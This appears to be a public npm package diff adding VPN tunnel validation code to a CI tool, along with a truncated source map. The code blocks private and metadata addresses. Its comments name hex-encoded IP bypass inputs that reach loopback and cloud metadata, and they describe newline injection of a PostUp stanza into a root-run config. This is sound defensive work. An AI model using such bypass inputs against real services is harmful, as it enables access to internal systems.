@appforge-ci/core 0.1.2 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/agent-readiness.d.ts +41 -1
- package/dist/agent-readiness.d.ts.map +1 -1
- package/dist/agent-readiness.js +29 -1
- package/dist/agent-readiness.js.map +1 -1
- package/dist/agent-readiness.test.js +28 -1
- package/dist/agent-readiness.test.js.map +1 -1
- package/dist/api-client.d.ts +54 -1
- package/dist/api-client.d.ts.map +1 -1
- package/dist/api-client.js +31 -0
- package/dist/api-client.js.map +1 -1
- package/dist/index.d.ts +1 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -0
- package/dist/index.js.map +1 -1
- package/dist/schemas.d.ts +91 -0
- package/dist/schemas.d.ts.map +1 -1
- package/dist/schemas.js +52 -0
- package/dist/schemas.js.map +1 -1
- package/dist/types.d.ts +81 -0
- package/dist/types.d.ts.map +1 -1
- package/dist/types.js.map +1 -1
- package/dist/vpn-network.d.ts +86 -0
- package/dist/vpn-network.d.ts.map +1 -0
- package/dist/vpn-network.js +291 -0
- package/dist/vpn-network.js.map +1 -0
- package/dist/vpn-network.test.d.ts +2 -0
- package/dist/vpn-network.test.d.ts.map +1 -0
- package/dist/vpn-network.test.js +178 -0
- package/dist/vpn-network.test.js.map +1 -0
- package/package.json +2 -2
|
@@ -0,0 +1,291 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Pure validation + addressing helpers for the site-to-site VPN
|
|
3
|
+
* (`VpnTunnel`, packages/db/migrations/0037_vpn.sql). No I/O, so the API
|
|
4
|
+
* route, CLI and dashboard all validate a tunnel config identically
|
|
5
|
+
* before it reaches the server, and the server never has to trust them.
|
|
6
|
+
*
|
|
7
|
+
* IPv4 only in v1: the tunnel's own /30, every LAN CIDR and the gateway's
|
|
8
|
+
* endpoint IP literal are IPv4. A customer gateway reachable by an IPv6
|
|
9
|
+
* hostname still works through DNS (a hostname endpoint is allowed) — what
|
|
10
|
+
* isn't supported yet is a LAN or tunnel range that is itself IPv6.
|
|
11
|
+
*/
|
|
12
|
+
const IPV4 = /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/;
|
|
13
|
+
export function parseIpv4(ip) {
|
|
14
|
+
const m = IPV4.exec(ip);
|
|
15
|
+
if (!m)
|
|
16
|
+
return null;
|
|
17
|
+
let n = 0;
|
|
18
|
+
for (let i = 1; i <= 4; i++) {
|
|
19
|
+
const part = m[i];
|
|
20
|
+
// "01" is ambiguous (octal in some parsers) — refuse rather than guess.
|
|
21
|
+
if (part.length > 1 && part.startsWith("0"))
|
|
22
|
+
return null;
|
|
23
|
+
const octet = Number(part);
|
|
24
|
+
if (octet > 255)
|
|
25
|
+
return null;
|
|
26
|
+
n = n * 256 + octet;
|
|
27
|
+
}
|
|
28
|
+
return n;
|
|
29
|
+
}
|
|
30
|
+
export function formatIpv4(n) {
|
|
31
|
+
return [(n / 2 ** 24) & 255, (n / 2 ** 16) & 255, (n / 2 ** 8) & 255, n & 255].join(".");
|
|
32
|
+
}
|
|
33
|
+
function maskOf(prefix) {
|
|
34
|
+
return prefix === 0 ? 0 : (0xffffffff << (32 - prefix)) >>> 0;
|
|
35
|
+
}
|
|
36
|
+
/** Parses "a.b.c.d/n". Returns null for anything malformed, and for a
|
|
37
|
+
* CIDR whose host bits are set ("10.0.0.5/24") — a silent normalize
|
|
38
|
+
* would hide a typo that routes a different range than the customer
|
|
39
|
+
* meant. */
|
|
40
|
+
export function parseCidr(cidr) {
|
|
41
|
+
const [ip, prefixText, ...rest] = cidr.split("/");
|
|
42
|
+
if (ip === undefined || prefixText === undefined || rest.length > 0)
|
|
43
|
+
return null;
|
|
44
|
+
if (!/^\d{1,2}$/.test(prefixText))
|
|
45
|
+
return null;
|
|
46
|
+
const prefix = Number(prefixText);
|
|
47
|
+
if (prefix > 32)
|
|
48
|
+
return null;
|
|
49
|
+
const addr = parseIpv4(ip);
|
|
50
|
+
if (addr === null)
|
|
51
|
+
return null;
|
|
52
|
+
if ((addr & maskOf(prefix)) >>> 0 !== addr)
|
|
53
|
+
return null;
|
|
54
|
+
return { network: addr, prefix };
|
|
55
|
+
}
|
|
56
|
+
export function cidrsOverlap(a, b) {
|
|
57
|
+
const prefix = Math.min(a.prefix, b.prefix);
|
|
58
|
+
const mask = maskOf(prefix);
|
|
59
|
+
return ((a.network & mask) >>> 0) === ((b.network & mask) >>> 0);
|
|
60
|
+
}
|
|
61
|
+
function cidrContainsIp(cidr, ip) {
|
|
62
|
+
return ((ip & maskOf(cidr.prefix)) >>> 0) === cidr.network;
|
|
63
|
+
}
|
|
64
|
+
const cidr = (text) => parseCidr(text);
|
|
65
|
+
/** Ranges a customer LAN must never claim: they are either never a real
|
|
66
|
+
* site network or would hijack traffic the build needs to go direct. */
|
|
67
|
+
const FORBIDDEN_LAN_RANGES = [
|
|
68
|
+
{ range: cidr("0.0.0.0/8"), why: "0.0.0.0/8 is not a routable network" },
|
|
69
|
+
{ range: cidr("127.0.0.0/8"), why: "127.0.0.0/8 is loopback" },
|
|
70
|
+
{ range: cidr("169.254.0.0/16"), why: "169.254.0.0/16 is link-local (and reserved for the tunnel's own /30)" },
|
|
71
|
+
{ range: cidr("224.0.0.0/3"), why: "224.0.0.0/3 is multicast/reserved" },
|
|
72
|
+
];
|
|
73
|
+
/** Where tunnel /30s are allocated from. Link-local space: no customer LAN
|
|
74
|
+
* may use it (see above), and it is never routed on the public internet,
|
|
75
|
+
* so a collision needs a customer network that already misuses it. The
|
|
76
|
+
* 169.254.169.0/24 slice is skipped — cloud metadata services live at
|
|
77
|
+
* 169.254.169.254. */
|
|
78
|
+
const TUNNEL_POOL = cidr("169.254.192.0/18");
|
|
79
|
+
const TUNNEL_POOL_SKIP = cidr("169.254.169.0/24");
|
|
80
|
+
export const MAX_LAN_CIDRS = 16;
|
|
81
|
+
export const MIN_LAN_PREFIX = 8;
|
|
82
|
+
/** The two usable addresses of a tunnel /30: `gateway` is the customer
|
|
83
|
+
* side (network + 1), `local` is AppForge's side (network + 2). */
|
|
84
|
+
export function tunnelAddresses(tunnelCidr) {
|
|
85
|
+
const parsed = parseCidr(tunnelCidr);
|
|
86
|
+
if (!parsed || parsed.prefix !== 30)
|
|
87
|
+
return null;
|
|
88
|
+
return { gateway: formatIpv4(parsed.network + 1), local: formatIpv4(parsed.network + 2) };
|
|
89
|
+
}
|
|
90
|
+
/**
|
|
91
|
+
* Picks a free /30 from the tunnel pool that doesn't overlap any of the
|
|
92
|
+
* customer's LAN CIDRs. `random` returns a float in [0, 1) — injected so
|
|
93
|
+
* tests are deterministic and the Worker can pass a crypto-backed source.
|
|
94
|
+
*/
|
|
95
|
+
export function allocateTunnelCidr(lanCidrs, random) {
|
|
96
|
+
const lans = lanCidrs.map(parseCidr).filter((c) => c !== null);
|
|
97
|
+
const slots = 2 ** (30 - TUNNEL_POOL.prefix);
|
|
98
|
+
for (let attempt = 0; attempt < 64; attempt++) {
|
|
99
|
+
const slot = Math.floor(random() * slots);
|
|
100
|
+
const candidate = { network: TUNNEL_POOL.network + slot * 4, prefix: 30 };
|
|
101
|
+
if (cidrsOverlap(candidate, TUNNEL_POOL_SKIP))
|
|
102
|
+
continue;
|
|
103
|
+
if (lans.some((lan) => cidrsOverlap(lan, candidate)))
|
|
104
|
+
continue;
|
|
105
|
+
return `${formatIpv4(candidate.network)}/30`;
|
|
106
|
+
}
|
|
107
|
+
throw new Error("could not allocate a tunnel range that avoids the declared LAN ranges");
|
|
108
|
+
}
|
|
109
|
+
/** A WireGuard key is 32 bytes, base64-encoded (44 chars, one trailing '='). */
|
|
110
|
+
export function isWireguardKey(value) {
|
|
111
|
+
if (!/^[A-Za-z0-9+/]{43}=$/.test(value))
|
|
112
|
+
return false;
|
|
113
|
+
// 43 base64 chars carry 258 bits; the final char's low two bits must be 0
|
|
114
|
+
// for a canonical 32-byte encoding.
|
|
115
|
+
return "AEIMQUYcgkosw048".includes(value[42]);
|
|
116
|
+
}
|
|
117
|
+
const HOSTNAME = /^(?=.{1,253}$)([a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)+$/i;
|
|
118
|
+
/** True for an IPv4 address (as a 32-bit integer, see `parseIpv4`) that is
|
|
119
|
+
* never a customer's public gateway: pointing the Mac's UDP at one would aim
|
|
120
|
+
* it at the Mac's own network. Exported for the agent, which must re-check a
|
|
121
|
+
* gateway *hostname's* resolved addresses with the same rule right before it
|
|
122
|
+
* dials (a DNS name can resolve to a private IP; the Worker can't see that). */
|
|
123
|
+
export function isNonPublicIpv4(ip) {
|
|
124
|
+
return [
|
|
125
|
+
cidr("0.0.0.0/8"),
|
|
126
|
+
cidr("10.0.0.0/8"),
|
|
127
|
+
cidr("100.64.0.0/10"),
|
|
128
|
+
cidr("127.0.0.0/8"),
|
|
129
|
+
cidr("169.254.0.0/16"),
|
|
130
|
+
cidr("172.16.0.0/12"),
|
|
131
|
+
cidr("192.168.0.0/16"),
|
|
132
|
+
cidr("224.0.0.0/3"),
|
|
133
|
+
].some((range) => cidrContainsIp(range, ip));
|
|
134
|
+
}
|
|
135
|
+
/** `host:port` where host is a DNS name or a *public* IPv4 literal. */
|
|
136
|
+
export function parseEndpoint(endpoint) {
|
|
137
|
+
const idx = endpoint.lastIndexOf(":");
|
|
138
|
+
if (idx <= 0)
|
|
139
|
+
return { error: "gatewayEndpoint must be host:port" };
|
|
140
|
+
const host = endpoint.slice(0, idx);
|
|
141
|
+
const portText = endpoint.slice(idx + 1);
|
|
142
|
+
if (!/^\d{1,5}$/.test(portText) || Number(portText) < 1 || Number(portText) > 65535) {
|
|
143
|
+
return { error: "gatewayEndpoint port must be 1-65535" };
|
|
144
|
+
}
|
|
145
|
+
const port = Number(portText);
|
|
146
|
+
if (host.startsWith("[") || host.includes(":")) {
|
|
147
|
+
return { error: "IPv6 literals are not supported as a gateway endpoint — use a DNS name" };
|
|
148
|
+
}
|
|
149
|
+
const ip = parseIpv4(host);
|
|
150
|
+
if (ip !== null) {
|
|
151
|
+
if (isNonPublicIpv4(ip)) {
|
|
152
|
+
return { error: "gatewayEndpoint must be a publicly reachable address, not a private/loopback/link-local IP" };
|
|
153
|
+
}
|
|
154
|
+
return { host, port };
|
|
155
|
+
}
|
|
156
|
+
if (/^\d+(\.\d+)*$/.test(host))
|
|
157
|
+
return { error: "gatewayEndpoint host is not a valid IPv4 address" };
|
|
158
|
+
if (!HOSTNAME.test(host))
|
|
159
|
+
return { error: "gatewayEndpoint host is not a valid DNS name" };
|
|
160
|
+
// inet_aton-style resolvers read "0x7f.0.0.1", "0xa9.0xfe.0xa9.0xfe" or
|
|
161
|
+
// "0x0a.1" as IPv4 addresses (loopback, cloud metadata, 10.0.0.1), which
|
|
162
|
+
// the check above would otherwise wave through as "a DNS name". No real
|
|
163
|
+
// hostname has an all-digit or 0x-prefixed label, so refuse them anywhere.
|
|
164
|
+
if (host.split(".").some((label) => /^(0x[0-9a-f]*|\d+)$/i.test(label))) {
|
|
165
|
+
return { error: "gatewayEndpoint host has a numeric label that resolvers may read as an IP address — use a real DNS name or a plain dotted IPv4" };
|
|
166
|
+
}
|
|
167
|
+
if (host.toLowerCase() === "localhost" || host.toLowerCase().endsWith(".localhost")) {
|
|
168
|
+
return { error: "gatewayEndpoint must be publicly reachable, not localhost" };
|
|
169
|
+
}
|
|
170
|
+
return { host: host.toLowerCase(), port };
|
|
171
|
+
}
|
|
172
|
+
const DOMAIN_SUFFIX = /^(\*\.)?[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)+$/i;
|
|
173
|
+
/**
|
|
174
|
+
* Validates a complete tunnel config and returns every problem found (an
|
|
175
|
+
* empty array means valid) — callers show them all at once rather than one
|
|
176
|
+
* round trip per mistake. Checks the cross-field rules a per-field zod
|
|
177
|
+
* schema can't: the tunnel /30 must not overlap any LAN range, and the
|
|
178
|
+
* DNS server must sit inside a LAN range (otherwise its queries would not
|
|
179
|
+
* go through the tunnel at all).
|
|
180
|
+
*/
|
|
181
|
+
export function validateVpnTunnelConfig(config) {
|
|
182
|
+
const errors = [];
|
|
183
|
+
const endpoint = parseEndpoint(config.gatewayEndpoint);
|
|
184
|
+
if ("error" in endpoint)
|
|
185
|
+
errors.push(endpoint.error);
|
|
186
|
+
if (!isWireguardKey(config.gatewayPublicKey)) {
|
|
187
|
+
errors.push("gatewayPublicKey must be a base64-encoded 32-byte WireGuard public key");
|
|
188
|
+
}
|
|
189
|
+
const lans = [];
|
|
190
|
+
if (config.lanCidrs.length === 0)
|
|
191
|
+
errors.push("lanCidrs must contain at least one CIDR");
|
|
192
|
+
if (config.lanCidrs.length > MAX_LAN_CIDRS)
|
|
193
|
+
errors.push(`lanCidrs may contain at most ${MAX_LAN_CIDRS} CIDRs`);
|
|
194
|
+
const seen = new Set();
|
|
195
|
+
for (const text of config.lanCidrs) {
|
|
196
|
+
const parsed = parseCidr(text);
|
|
197
|
+
if (!parsed) {
|
|
198
|
+
errors.push(`"${text}" is not a valid IPv4 CIDR with the host bits zeroed (e.g. 10.20.0.0/16)`);
|
|
199
|
+
continue;
|
|
200
|
+
}
|
|
201
|
+
if (seen.has(text)) {
|
|
202
|
+
errors.push(`"${text}" is listed more than once`);
|
|
203
|
+
continue;
|
|
204
|
+
}
|
|
205
|
+
seen.add(text);
|
|
206
|
+
if (parsed.prefix < MIN_LAN_PREFIX) {
|
|
207
|
+
errors.push(`"${text}" is too broad — LAN ranges must be /${MIN_LAN_PREFIX} or narrower (default routes are never allowed)`);
|
|
208
|
+
continue;
|
|
209
|
+
}
|
|
210
|
+
const forbidden = FORBIDDEN_LAN_RANGES.find((f) => cidrsOverlap(f.range, parsed));
|
|
211
|
+
if (forbidden) {
|
|
212
|
+
errors.push(`"${text}" overlaps a range that can't be tunneled: ${forbidden.why}`);
|
|
213
|
+
continue;
|
|
214
|
+
}
|
|
215
|
+
lans.push(parsed);
|
|
216
|
+
}
|
|
217
|
+
const tunnel = parseCidr(config.tunnelCidr);
|
|
218
|
+
if (!tunnel || tunnel.prefix !== 30) {
|
|
219
|
+
errors.push("tunnelCidr must be a /30 (e.g. 169.254.200.0/30)");
|
|
220
|
+
}
|
|
221
|
+
else {
|
|
222
|
+
if (lans.some((lan) => cidrsOverlap(lan, tunnel))) {
|
|
223
|
+
errors.push("tunnelCidr overlaps one of the lanCidrs — pick a different /30");
|
|
224
|
+
}
|
|
225
|
+
if (cidrsOverlap(tunnel, TUNNEL_POOL_SKIP) ||
|
|
226
|
+
cidrsOverlap(tunnel, cidr("127.0.0.0/8")) ||
|
|
227
|
+
cidrsOverlap(tunnel, cidr("224.0.0.0/3")) ||
|
|
228
|
+
cidrsOverlap(tunnel, cidr("0.0.0.0/8"))) {
|
|
229
|
+
errors.push("tunnelCidr can't use that range (reserved for cloud metadata, loopback, multicast or 0.0.0.0/8)");
|
|
230
|
+
}
|
|
231
|
+
}
|
|
232
|
+
if (config.dnsServer !== undefined && config.dnsServer !== null) {
|
|
233
|
+
const dns = parseIpv4(config.dnsServer);
|
|
234
|
+
if (dns === null)
|
|
235
|
+
errors.push("dnsServer must be an IPv4 address");
|
|
236
|
+
else if (lans.length > 0 && !lans.some((lan) => cidrContainsIp(lan, dns))) {
|
|
237
|
+
errors.push("dnsServer must be inside one of the lanCidrs so its queries go through the tunnel");
|
|
238
|
+
}
|
|
239
|
+
}
|
|
240
|
+
const domains = config.allowedDomains ?? [];
|
|
241
|
+
if (domains.length > 32)
|
|
242
|
+
errors.push("allowedDomains may contain at most 32 entries");
|
|
243
|
+
for (const d of domains) {
|
|
244
|
+
if (!DOMAIN_SUFFIX.test(d))
|
|
245
|
+
errors.push(`"${d}" is not a valid domain (use example.com or *.example.com)`);
|
|
246
|
+
}
|
|
247
|
+
if (domains.length > 0 && (config.dnsServer === undefined || config.dnsServer === null)) {
|
|
248
|
+
errors.push("allowedDomains needs a dnsServer to resolve them through the tunnel");
|
|
249
|
+
}
|
|
250
|
+
return errors;
|
|
251
|
+
}
|
|
252
|
+
/**
|
|
253
|
+
* The text the customer pastes into their own gateway so it accepts our
|
|
254
|
+
* side of the tunnel. Plain WireGuard `[Peer]` syntax — wg-quick, pfSense,
|
|
255
|
+
* OPNsense, MikroTik, FortiGate and UniFi all take these four values. The
|
|
256
|
+
* Mac dials out, so there is deliberately no `Endpoint` line: the gateway
|
|
257
|
+
* learns our address from the handshake and follows it as Macs change.
|
|
258
|
+
*/
|
|
259
|
+
export function renderGatewayPeerConfig(input) {
|
|
260
|
+
const addrs = tunnelAddresses(input.tunnelCidr);
|
|
261
|
+
if (!addrs)
|
|
262
|
+
throw new Error("tunnelCidr must be a /30");
|
|
263
|
+
// The customer pastes this into a gateway whose wg-quick runs as root, so
|
|
264
|
+
// every interpolated value must be provably a single line of the shape we
|
|
265
|
+
// expect — a stray newline would let one value inject a whole extra
|
|
266
|
+
// `[Interface]`/`PostUp`/`[Peer]` stanza. Keys and CIDRs are re-checked
|
|
267
|
+
// here even though the route validated them; the org name is free text any
|
|
268
|
+
// org member can set (PATCH /orgs/:orgId), so it is stripped to printable
|
|
269
|
+
// characters on one line and only ever lands inside a `#` comment.
|
|
270
|
+
if (!isWireguardKey(input.ourPublicKey))
|
|
271
|
+
throw new Error("ourPublicKey is not a WireGuard key");
|
|
272
|
+
if (!isWireguardKey(input.presharedKey))
|
|
273
|
+
throw new Error("presharedKey is not a WireGuard key");
|
|
274
|
+
for (const lan of input.lanCidrs) {
|
|
275
|
+
if (parseCidr(lan) === null)
|
|
276
|
+
throw new Error(`lanCidrs entry is not a CIDR: ${JSON.stringify(lan)}`);
|
|
277
|
+
}
|
|
278
|
+
const orgName = input.orgName.replace(/[^\p{L}\p{N} ._,'()&+/-]+/gu, " ").replace(/\s+/g, " ").trim().slice(0, 80);
|
|
279
|
+
return [
|
|
280
|
+
`# AppForge CI site-to-site tunnel for ${orgName || "your organization"}`,
|
|
281
|
+
`# 1. On your gateway's WireGuard interface, use address ${addrs.gateway}/30.`,
|
|
282
|
+
`# 2. Add this peer. AppForge dials out to you, so no Endpoint is needed.`,
|
|
283
|
+
`[Peer]`,
|
|
284
|
+
`PublicKey = ${input.ourPublicKey}`,
|
|
285
|
+
`PresharedKey = ${input.presharedKey}`,
|
|
286
|
+
`AllowedIPs = ${addrs.local}/32`,
|
|
287
|
+
`# 3. Allow ${addrs.local} to reach only: ${input.lanCidrs.join(", ")}`,
|
|
288
|
+
`# and either masquerade it or route ${input.tunnelCidr} back to this interface.`,
|
|
289
|
+
].join("\n");
|
|
290
|
+
}
|
|
291
|
+
//# sourceMappingURL=vpn-network.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"vpn-network.js","sourceRoot":"","sources":["../src/vpn-network.ts"],"names":[],"mappings":"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